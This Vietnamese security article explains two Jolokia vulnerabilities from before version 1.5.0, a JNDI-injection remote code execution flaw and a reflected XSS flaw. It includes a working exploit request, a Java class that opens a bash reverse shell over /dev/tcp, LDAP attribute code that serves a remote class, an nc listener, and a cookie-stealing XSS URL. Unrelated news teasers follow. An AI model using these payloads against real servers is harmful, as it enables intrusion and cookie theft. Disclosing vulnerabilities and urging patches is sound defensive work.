Jolokia là một sản phẩm mã nguồn mở được sử dụng để cung cấp giao diện API HTTP cho JMX (Java Management Extensions) - công nghệ được sử dụng để quản lý và giám sát các thiết bị, ứng dụng và các mạng hướng dịch vụ. Jolokia chứa một API có thể được sử dụng để gọi đối tượng MBeans (một đối tượng Java được quản lý, tương tự thành phần JavaBeans) được đăng ký trên máy chủ và đọc/ghi các thuộc tính. Hai lỗ hổng được phát hiện là: Remote Code Execution qua JNDI Injection (CVE-2018-1000130) và Cross-Site Scripting (CVE-2018-1000129). Các phiên bản được phát hành trước Jolokia 1.5.0 đều tồn tại 2 lỗ hổng bảo mật này.
Lỗ hổng Remote Code Execution qua JNDI Injection – CVE-2018-1000130
Trước phiên bản 1.5.0, dịch vụ Jolokia tồn tại chế độ proxy dễ dàng bị ảnh hưởng từ JNDI injection (tham khảo bài trình bày về tấn công JNDI trong BlackHat USA 2016). Khi agent Jolokia được triển khai trên chế độ proxy, với việc truy cập tới Jolokia web endpoint, kẻ tấn công từ bên ngoài có thể thực thi mã tùy ý từ xa thông qua tấn công JNDI injection. Cuộc tấn công này có thể thực hiện được vì thư viện Jolokia khởi tạo những kết nối LDAP/RMI sử dụng đầu vào của người dùng cung cấp.
Nếu hệ thống của bên thứ ba sử dụng dịch vụ Jolokia trong chế độ proxy, hệ thống này sẽ được tương tác với việc thực hiện mã từ xa thông qua Jolokia endpoint. Jolokia - tương tự như một thành phần, không cung cấp bất kỳ cơ chế xác thực cho endpoint để bảo vệ máy chủ chống lại kẻ tấn công.
Các bước mô phỏng
Request POST có thể được sử dụng để khai thác lỗ hổng này là:
POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } |
Tạo các máy chủ LDAP và HTTP để phát tán các payload độc hại. Những đoạn mã này sẽ được lấy từ Github: marshalsec và zerothoughts. Sau đó tạo một ExportObject.java.
public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } |
Máy chủ LDAP thực hiện lệnh: http://127.0.0.1:7873/#ExportObject 9092”. Trong đó http://127.0.0.1:7873/ là URL máy chủ HTTP của kẻ tấn công, ExportObject là tên của class Java chứa mã của kẻ tấn công và 9092 là cổng lắng nghe trên máy chủ LDAP.
Thực hiện lệnh “$ nc -lv 7777” để lắng nghe trên cổng 7777. Sau khi request POST được gửi đi, máy chủ có lỗ hổng sẽ tạo một request tới máy chủ LDAP của kẻ tấn công.
Khi máy chủ LDAP nhận được một request từ máy chủ có lỗ hổng trên cổng 9092, nó sẽ tạo một Entry object với các thuộc tính và gửi lại LDAP response.
e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); |
Khi đó máy chủ sẽ nạp ExportObject.class từ máy chủ HTTP của kẻ tấn công, khởi tạo đối tượng và thực hiện lệnh đảo ngược. Kẻ tấn công nhận kết nối trở lại từ máy chủ có lỗ hổng bằng lệnh nc.
Lỗ hổng Cross-Site Scripting – CVE-2018-1000129
Ứng dụng web Jolokia dễ bị ảnh hưởng bởi một cuộc tấn công XSS cổ điển. Mặc định, Jolokia gửi các phản hồi với Content-Type application/json, nên hầu hết các trường hợp chèn thêm vào dữ liệu đầu vào của người dùng cung cấp là không khó khăn. Nhưng nó đã được phát hiện từ việc đọc mã nguồn, có thể chỉnh sửa trường Content-Type của phản hồi bằng việc thêm tham số mimeType vào request GET.
http://localhost:8161/api/jolokia/read?mimeType=text/html
Sau đó, URL sẽ bị thay đổi bằng cách chèn thêm vào một số lệnh hoặc mã khai thác.
http://localhost:8161/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Với Content-Type text/html, có thể tấn công XSS reflected cổ điển. Việc khai thác lỗ hổng này cho phép kẻ tấn công cung cấp đoạn mã javascript trong các tham số truyền vào trong ứng dụng, đoạn mã này sẽ được thực thi trên trình duyệt web của người dùng cuối. Ngoài ra, kẻ tấn công có thể đánh cắp cookie, truy cập trái phép với phiên xác thực của người dùng, thay đổi nội dung trang web bị tấn công hoặc làm ảnh hưởng tới trình duyệt của người dùng.
Người dùng Jolokia cần khẩn trương cập nhập dịch vụ lên phiên bản 1.5.0.
Mr. 0
08:00 | 25/06/2018
13:00 | 26/02/2024
Tin tặc Nga có thể có liên quan đến cuộc tấn công mạng lớn nhất nhằm vào cơ sở hạ tầng quan trọng của Đan Mạch, 22 công ty liên quan đến hoạt động của ngành năng lượng của nước này đã bị nhắm mục tiêu vào tháng 5/2023.
10:00 | 31/01/2024
Các nhà nghiên cứu tại công ty an ninh mạng CloudSEK (Ấn Độ) cho biết: tin tặc đang phân phối phần mềm đánh cắp thông tin bằng cách lợi dụng điểm cuối Google OAuth có tên MultiLogin để chiếm quyền điều khiển phiên của người dùng và cho phép truy cập liên tục vào các dịch vụ của Google ngay cả sau khi đặt lại mật khẩu.
15:00 | 18/12/2023
Ngày 12/12, Kyivstar - nhà mạng lớn nhất Ukraine hứng chịu một cuộc tấn công mạng lớn, khiến hàng triệu người dùng mất kết nối di động và Internet. Đáng chú ý sự cố gây ảnh hưởng đến hệ thống cảnh báo không kích của nước này.
09:00 | 08/12/2023
Để bổ sung thêm những tính năng dành cho các nền tảng ứng dụng nhắn tin hiện nay, các nhà phát triển bên thứ ba đã đưa ra các bản mod (phiên bản sửa đổi của ứng dụng không chính thức) cung cấp các tính năng mới bên cạnh những nâng cấp về mặt giao diện. Tuy nhiên, một số mod này có thể chứa phần mềm độc hại cùng với các cải tiến hợp pháp. Một trường hợp điển hình đã xảy ra vào năm ngoái khi các nhà nghiên cứu Kaspersky phát hiện ra Trojan Triada bên trong bản mod WhatsApp. Gần đây, các nhà nghiên cứu đã phát hiện một bản mod Telegram có module gián điệp được nhúng và phân phối thông qua Google Play. Câu chuyện tương tự hiện tại xảy ra với WhatsApp, khi một số bản mod trước đây đã được phát hiện có chứa module gián điệp có tên là Trojan-Spy.AndroidOS.CanesSpy.
DinodasRAT hay còn được gọi là XDealer là một backdoor đa nền tảng được phát triển bằng ngôn ngữ C++ cung cấp nhiều tính năng độc hại. DinodasRAT cho phép kẻ tấn công theo dõi và thu thập dữ liệu nhạy cảm từ máy tính của mục tiêu. Một phiên bản cho hệ điều hành Windows của phần mềm độc hại này đã được sử dụng trong các cuộc tấn công nhắm mục tiêu vào các thực thể của Chính phủ Guyana và được các nhà nghiên cứu tới từ công ty bảo mật ESET (Slovakia) báo cáo với tên gọi là chiến dịch Jacana. Bài viết sẽ phân tích cơ chế hoạt động của phần mềm độc hại DinodasRAT dựa trên báo cáo của hãng bảo mật Kaspersky.
19:00 | 30/04/2024